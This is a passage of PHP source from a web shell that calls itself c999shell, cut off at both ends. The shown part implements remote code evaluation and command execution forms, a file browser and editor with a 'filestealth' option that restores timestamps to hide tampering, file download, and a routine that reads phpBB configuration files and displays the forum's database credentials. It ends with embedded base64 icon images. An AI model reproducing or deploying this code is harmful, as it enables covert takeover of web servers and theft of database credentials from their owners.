4887 echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
4888
4889}
4890
4891if ($act == "f")
4892
4893{
4894
4895 if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
4896
4897 {
4898
4899 if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
4900
4901 else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
4902
4903 }
4904
4905 else
4906
4907 {
4908
4909 $r = @file_get_contents($d.$f);
4910
4911 $ext = explode(".",$f);
4912
4913 $c = count($ext)-1;
4914
4915 $ext = $ext[$c];
4916
4917 $ext = strtolower($ext);
4918
4919 $rft = "";
4920
4921 foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
4922
4923 if (empty($ft)) {$ft = $rft;}
4924
4925 $arr = array(
4926
4927 array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
4928
4929 array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
4930
4931 array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
4932
4933 array("Code","code"),
4934
4935 array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
4936
4937 array("SDB","sdb"),
4938
4939 array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
4940
4941 array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
4942
4943 array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
4944
4945 array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
4946
4947 array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
4948
4949 );
4950
4951 echo "<b>Viewing file: <img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
4952
4953 foreach($arr as $t)
4954
4955 {
4956
4957 if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
4958
4959 elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
4960
4961 else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
4962
4963 echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
4964
4965 }
4966
4967 echo "<hr size=\"1\" noshade>";
4968
4969
4970 if ($ft == "info")
4971
4972 {
4973
4974 echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
4975
4976 if (!$win)
4977
4978 {
4979
4980 echo "<tr><td><b>Owner:Group</b></td><td> ";
4981
4982 $ow = posix_getpwuid(fileowner($d.$f));
4983
4984 $gr = posix_getgrgid(filegroup($d.$f));
4985
4986 echo ($ow["name"]?$ow["name"]:fileowner($d.$f)).":".($gr["name"]?$gr["name"]:filegroup($d.$f));
4987
4988 }
4989
4990 echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
4991
4992 $fi = fopen($d.$f,"rb");
4993
4994 if ($fi)
4995
4996 {
4997
4998 if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
4999
5000 else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
5001
5002 $n = 0;
5003
5004 $a0 = "00000000<br>";
5005
5006 $a1 = "";
5007
5008 $a2 = "";
5009
5010 for ($i=0; $i<strlen($str); $i++)
5011
5012 {
5013
5014 $a1 .= sprintf("%02X",ord($str[$i]))." ";
5015
5016 switch (ord($str[$i]))
5017
5018 {
5019
5020 case 0: $a2 .= "<font>0</font>"; break;
5021
5022 case 32:
5023
5024 case 10:
5025
5026 case 13: $a2 .= " "; break;
5027
5028 default: $a2 .= htmlspecialchars($str[$i]);
5029
5030 }
5031
5032 $n++;
5033
5034 if ($n == $hexdump_rows)
5035
5036 {
5037
5038 $n = 0;
5039
5040 if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
5041
5042 $a1 .= "<br>";
5043
5044 $a2 .= "<br>";
5045
5046 }
5047
5048 }
5049
5050 //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
5051
5052 echo "<table border=0 cellspacing=1><tr><td>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
5053
5054 }
5055
5056 $encoded = "";
5057
5058 if ($base64 == 1)
5059
5060 {
5061
5062 echo "<b>Base64 Encode</b><br>";
5063
5064 $encoded = base64_encode(file_get_contents($d.$f));
5065
5066 }
5067
5068 elseif($base64 == 2)
5069
5070 {
5071
5072 echo "<b>Base64 Encode + Chunk</b><br>";
5073
5074 $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
5075
5076 }
5077
5078 elseif($base64 == 3)
5079
5080 {
5081
5082 echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
5083
5084 $encoded = base64_encode(file_get_contents($d.$f));
5085
5086 $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
5087
5088 }
5089
5090 elseif($base64 == 4)
5091
5092 {
5093
5094 $text = file_get_contents($d.$f);
5095
5096 $encoded = base64_decode($text);
5097
5098 echo "<b>Base64 Decode";
5099
5100 if (base64_encode($encoded) != $text) {echo " (failed)";}
5101
5102 echo "</b><br>";
5103
5104 }
5105
5106 if (!empty($encoded))
5107
5108 {
5109
5110 echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
5111
5112 }
5113
5114 echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
5115
5116<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>] </nobr>
5117
5118<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>] </nobr>
5119
5120<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>] </nobr>
5121
5122<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>] </nobr>
5123
5124<P>";
5125
5126 }
5127
5128 elseif ($ft == "html")
5129
5130 {
5131
5132 if ($white) {@ob_clean();}
5133
5134 echo $r;
5135
5136 if ($white) {c999shexit();}
5137
5138 }
5139
5140 elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
5141
5142 elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
5143
5144 elseif ($ft == "phpsess")
5145
5146 {
5147
5148 echo "<pre>";
5149
5150 $v = explode("|",$r);
5151
5152 echo $v[0]."<br>";
5153
5154 var_dump(unserialize($v[1]));
5155
5156 echo "</pre>";
5157
5158 }
5159
5160 elseif ($ft == "exe")
5161
5162 {
5163
5164 $ext = explode(".",$f);
5165
5166 $c = count($ext)-1;
5167
5168 $ext = $ext[$c];
5169
5170 $ext = strtolower($ext);
5171
5172 $rft = "";
5173
5174 foreach($exeftypes as $k=>$v)
5175
5176 {
5177
5178 if (in_array($ext,$v)) {$rft = $k; break;}
5179
5180 }
5181
5182 $cmd = str_replace("%f%",$f,$rft);
5183
5184 echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
5185
5186 }
5187
5188 elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
5189
5190 elseif ($ft == "code")
5191
5192 {
5193
5194 if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
5195
5196 {
5197
5198 $arr = explode("\n",$r);
5199
5200 if (count($arr == 18))
5201
5202 {
5203
5204 include($d.$f);
5205
5206 echo "<b>phpBB configuration is detected in this file!<br>";
5207
5208 if ($dbms == "mysql4") {$dbms = "mysql";}
5209
5210 if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
5211
5212 else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c999shell. Please, report us for fix.";}
5213
5214 echo "Parameters for manual connect:<br>";
5215
5216 $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
5217
5218 foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
5219
5220 echo "</b><hr size=\"1\" noshade>";
5221
5222 }
5223
5224 }
5225
5226 echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
5227
5228 if (!empty($white)) {@ob_clean();}
5229
5230 highlight_file($d.$f);
5231
5232 if (!empty($white)) {c999shexit();}
5233
5234 echo "</div>";
5235
5236 }
5237
5238 elseif ($ft == "download")
5239
5240 {
5241
5242 @ob_clean();
5243
5244 header("Content-type: application/octet-stream");
5245
5246 header("Content-length: ".filesize($d.$f));
5247
5248 header("Content-disposition: attachment; filename=\"".$f."\";");
5249
5250 echo $r;
5251
5252 exit;
5253
5254 }
5255
5256 elseif ($ft == "notepad")
5257
5258 {
5259
5260 @ob_clean();
5261
5262 header("Content-type: text/plain");
5263
5264 header("Content-disposition: attachment; filename=\"".$f.".txt\";");
5265
5266 echo($r);
5267
5268 exit;
5269
5270 }
5271
5272 elseif ($ft == "img")
5273
5274 {
5275
5276 $inf = getimagesize($d.$f);
5277
5278 if (!$white)
5279
5280 {
5281
5282 if (empty($imgsize)) {$imgsize = 20;}
5283
5284 $width = $inf[0]/100*$imgsize;
5285
5286 $height = $inf[1]/100*$imgsize;
5287
5288 echo "<center><b>Size:</b> ";
5289
5290 $sizes = array("100","50","20");
5291
5292 foreach ($sizes as $v)
5293
5294 {
5295
5296 echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
5297
5298 if ($imgsize != $v ) {echo $v;}
5299
5300 else {echo "<u>".$v."</u>";}
5301
5302 echo "</a> ";
5303
5304 }
5305
5306 echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
5307
5308 }
5309
5310 else
5311
5312 {
5313
5314 @ob_clean();
5315
5316 $ext = explode($f,".");
5317
5318 $ext = $ext[count($ext)-1];
5319
5320 header("Content-type: ".$inf["mime"]);
5321
5322 readfile($d.$f);
5323
5324 exit;
5325
5326 }
5327
5328 }
5329
5330 elseif ($ft == "edit")
5331
5332 {
5333
5334 if (!empty($submit))
5335
5336 {
5337
5338 if ($filestealth) {$stat = stat($d.$f);}
5339
5340 $fp = fopen($d.$f,"w");
5341
5342 if (!$fp) {echo "<b>Can't write to file!</b>";}
5343
5344 else
5345
5346 {
5347
5348 echo "<b>Saved!</b>";
5349
5350 fwrite($fp,$edit_text);
5351
5352 fclose($fp);
5353
5354 if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
5355
5356 $r = $edit_text;
5357
5358 }
5359
5360 }
5361
5362 $rows = count(explode("\r\n",$r));
5363
5364 if ($rows < 10) {$rows = 10;}
5365
5366 if ($rows > 30) {$rows = 30;}
5367
5368 echo "<form action=\"".$surl."act=f&f=".$f."&ft=edit&d=".$d."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
5369
5370 }
5371
5372 elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
5373
5374 else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
5375
5376 }
5377
5378}
5379
5380}
5381
5382else
5383
5384{
5385
5386 @ob_clean();
5387
5388$images = array(
5389
5390"arrow_ltr"=>
5391
5392"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
5393
5394"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
5395
5396"back"=>
5397
5398"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
5399
5400"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
5401
5402"Wg0JADs=",
5403
5404"buffer"=>
5405
5406"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
5407
5408"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
5409
5410"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
5411
5412"change"=>
5413
5414"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
5415
5416"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
5417
5418"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
5419
5420"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
5421
5422"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
5423
5424"zMshADs=",
5425
5426"delete"=>
5427
5428"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
5429
5430"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
5431
5432"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
5433
5434"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
5435
5436"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
5437
5438"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
5439
5440"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
5441
5442"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
5443
5444"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
5445
5446"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
5447
5448"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
5449
5450"download"=>
5451
5452"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
5453
5454"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
5455
5456"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
5457
5458"forward"=>
5459
5460"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
5461
5462"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
5463
5464"WqsJADs=",
5465
5466"home"=>
5467
5468"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
5469
5470"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
5471
5472"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
5473
5474"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
5475
5476"mode"=>
5477
5478"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
5479
5480"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
5481
5482"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
5483
5484"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
5485
5486"refresh"=>
5487
5488"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
5489
5490"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
5491
5492"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
5493
5494"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
5495
5496"search"=>
5497
5498"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
5499
5500"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
5501
5502"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
5503
5504"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
5505
5506"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
5507
5508"setup"=>
5509
5510"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
5511
5512"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
5513
5514"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
5515
5516"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
5517
5518"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
5519
5520"small_dir"=>
5521
5522"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
5523
5524"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
5525
5526"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
5527
5528"small_unk"=>
5529
5530"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
5531
5532"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
5533
5534"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
5535
5536"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
5537
5538"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
5539
5540"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
5541
5542"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
5543
5544"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
5545
5546"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
5547
5548"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
5549
5550"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
5551
5552"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
5553
5554"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
5555
5556"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
5557
5558"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
5559
5560"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
5561
5562"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
5563
5564"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
5565
5566"yAsokBkQADs=",
5567
5568"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
5569
5570"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
5571
5572"sort_asc"=>
5573
5574"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
5575
5576"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
5577
5578"sort_desc"=>
5579
5580"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
5581
5582"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
5583
5584"sql_button_drop"=>
5585
5586"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
5587
5588"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
5589
5590"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
5591
5592"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
5593
5594"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
5595
5596"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
5597
5598"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
5599
5600"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
5601
5602"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
5603
5604"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
5605
5606"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
5607
5608"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
5609
5610"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
5611
5612"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
5613
5614"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
5615
5616"AQEAOw==",
5617
5618"sql_button_empty"=>
5619
5620"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
5621
5622"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
5623
5624"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
5625
5626"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
5627
5628"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
5629
